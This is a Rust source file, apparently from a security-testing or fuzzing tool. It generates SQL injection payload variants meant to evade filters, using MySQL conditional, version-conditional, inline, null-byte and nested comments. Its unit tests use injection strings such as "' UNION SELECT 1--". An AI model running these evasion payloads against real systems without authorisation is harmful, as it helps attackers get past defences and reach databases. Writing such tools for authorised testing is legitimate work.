const SQL_KEYWORDS: &[&str] = &[
"SELECT", "UNION", "INSERT", "UPDATE", "DELETE", "DROP", "WHERE", "FROM", "ORDER", "GROUP",
"AND", "OR", "HAVING", "LIKE", "BETWEEN", "JOIN", "INTO",
];
pub(crate) fn mysql_conditional_comment(keyword: &str) -> String {
format!("/*!{keyword}*/")
}
pub(crate) fn inline_comment_split(keyword: &str) -> String {
keyword
.chars()
.map(|c| c.to_string())
.collect::<Vec<_>>()
.join("/**/")
}
pub(crate) fn null_comment_split(keyword: &str) -> String {
keyword
.chars()
.map(|c| c.to_string())
.collect::<Vec<_>>()
.join("/*%00*/")
}
pub(crate) fn keyword_comment_mutations(
payload: &str,
max_mutations: usize,
) -> Vec<(String, String)> {
let lower = payload.to_ascii_lowercase();
let mut results = Vec::new();
for keyword in SQL_KEYWORDS {
if results.len() >= max_mutations {
break;
}
if let Some(position) = lower.find(&keyword.to_ascii_lowercase()) {
let original = &payload[position..position + keyword.len()];
let wrapped = mysql_conditional_comment(keyword);
let mutated = payload.replacen(original, &wrapped, 1);
if mutated != payload {
results.push((
mutated,
format!("MySQL conditional comment: {keyword} → {wrapped}"),
));
}
if results.len() < max_mutations {
let split = inline_comment_split(keyword);
let mutated = payload.replacen(original, &split, 1);
if mutated != payload {
results.push((
mutated,
format!("Inline comment split: {keyword} → {split}"),
));
}
}
if results.len() < max_mutations {
let split = null_comment_split(keyword);
let mutated = payload.replacen(original, &split, 1);
if mutated != payload {
results.push((mutated, format!("Null-byte comment split: {keyword}")));
}
}
}
}
results
}
pub(crate) fn version_comment_mutations(
payload: &str,
max_mutations: usize,
) -> Vec<(String, String)> {
let lower = payload.to_ascii_lowercase();
let mut results = Vec::new();
for keyword in SQL_KEYWORDS {
if let Some(position) = lower.find(&keyword.to_ascii_lowercase()) {
let original = &payload[position..position + keyword.len()];
for version in ["50000", "40000", "99999", "50001", "40100"] {
if results.len() >= max_mutations {
return results;
}
let wrapped = format!("/*!{version}{keyword}*/");
let mutated = payload.replacen(original, &wrapped, 1);
if mutated != payload {
results.push((
mutated,
format!("MySQL version conditional: /*!{version}{keyword}*/"),
));
}
}
}
}
results
}
pub(crate) fn nested_comment_mutations(
payload: &str,
max_mutations: usize,
) -> Vec<(String, String)> {
let lower = payload.to_ascii_lowercase();
let mut results = Vec::new();
for keyword in SQL_KEYWORDS {
if results.len() >= max_mutations {
break;
}
if let Some(position) = lower.find(&keyword.to_ascii_lowercase()) {
let original = &payload[position..position + keyword.len()];
let nested = format!("/*/**/*/{keyword}/*/**/ */");
let mutated = payload.replacen(original, &nested, 1);
if mutated != payload {
results.push((mutated, format!("Nested comment: {keyword} → {nested}")));
}
if results.len() < max_mutations {
let padded = format!("/**/{keyword}/**/");
let mutated = payload.replacen(original, &padded, 1);
if mutated != payload {
results.push((mutated, format!("Comment-padded: {keyword} → {padded}")));
}
}
}
}
results
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn inline_split_select() {
assert_eq!(inline_comment_split("SELECT"), "S/**/E/**/L/**/E/**/C/**/T");
}
#[test]
fn inline_split_union() {
assert_eq!(inline_comment_split("UNION"), "U/**/N/**/I/**/O/**/N");
}
#[test]
fn null_split_select() {
assert_eq!(
null_comment_split("SELECT"),
"S/*%00*/E/*%00*/L/*%00*/E/*%00*/C/*%00*/T"
);
}
#[test]
fn keyword_comment_mutations_produces_variants() {
let mutations = keyword_comment_mutations("' UNION SELECT 1--", 50);
assert!(
mutations.len() >= 4,
"should produce multiple comment variants, got {}",
mutations.len()
);
}
#[test]
fn keyword_comment_mutations_inline_split() {
let mutations = keyword_comment_mutations("' UNION SELECT 1--", 50);
assert!(
mutations
.iter()
.any(|(m, _)| m.contains("U/**/N/**/I/**/O/**/N")),
"should include inline comment split for UNION"
);
}
#[test]
fn version_comment_mutations_multiple_versions() {
let mutations = version_comment_mutations("' UNION SELECT 1--", 50);
assert!(mutations.iter().any(|(_, d)| d.contains("50000")));
assert!(mutations.iter().any(|(_, d)| d.contains("40000")));
assert!(mutations.iter().any(|(_, d)| d.contains("99999")));
}
#[test]
fn nested_comment_mutations_exist() {
let mutations = nested_comment_mutations("' SELECT 1--", 10);
assert!(
!mutations.is_empty(),
"should produce nested comment variants"
);
}
#[test]
fn mutations_dont_panic_on_empty() {
let mutations = keyword_comment_mutations("", 10);
assert!(mutations.is_empty());
}
#[test]
fn extended_keyword_list_includes_and_or() {
let mutations = keyword_comment_mutations("' OR 1=1 AND 1=1--", 50);
assert!(
mutations
.iter()
.any(|(_, d)| d.contains("OR") || d.contains("AND")),
"should mutate AND/OR keywords"
);
}
}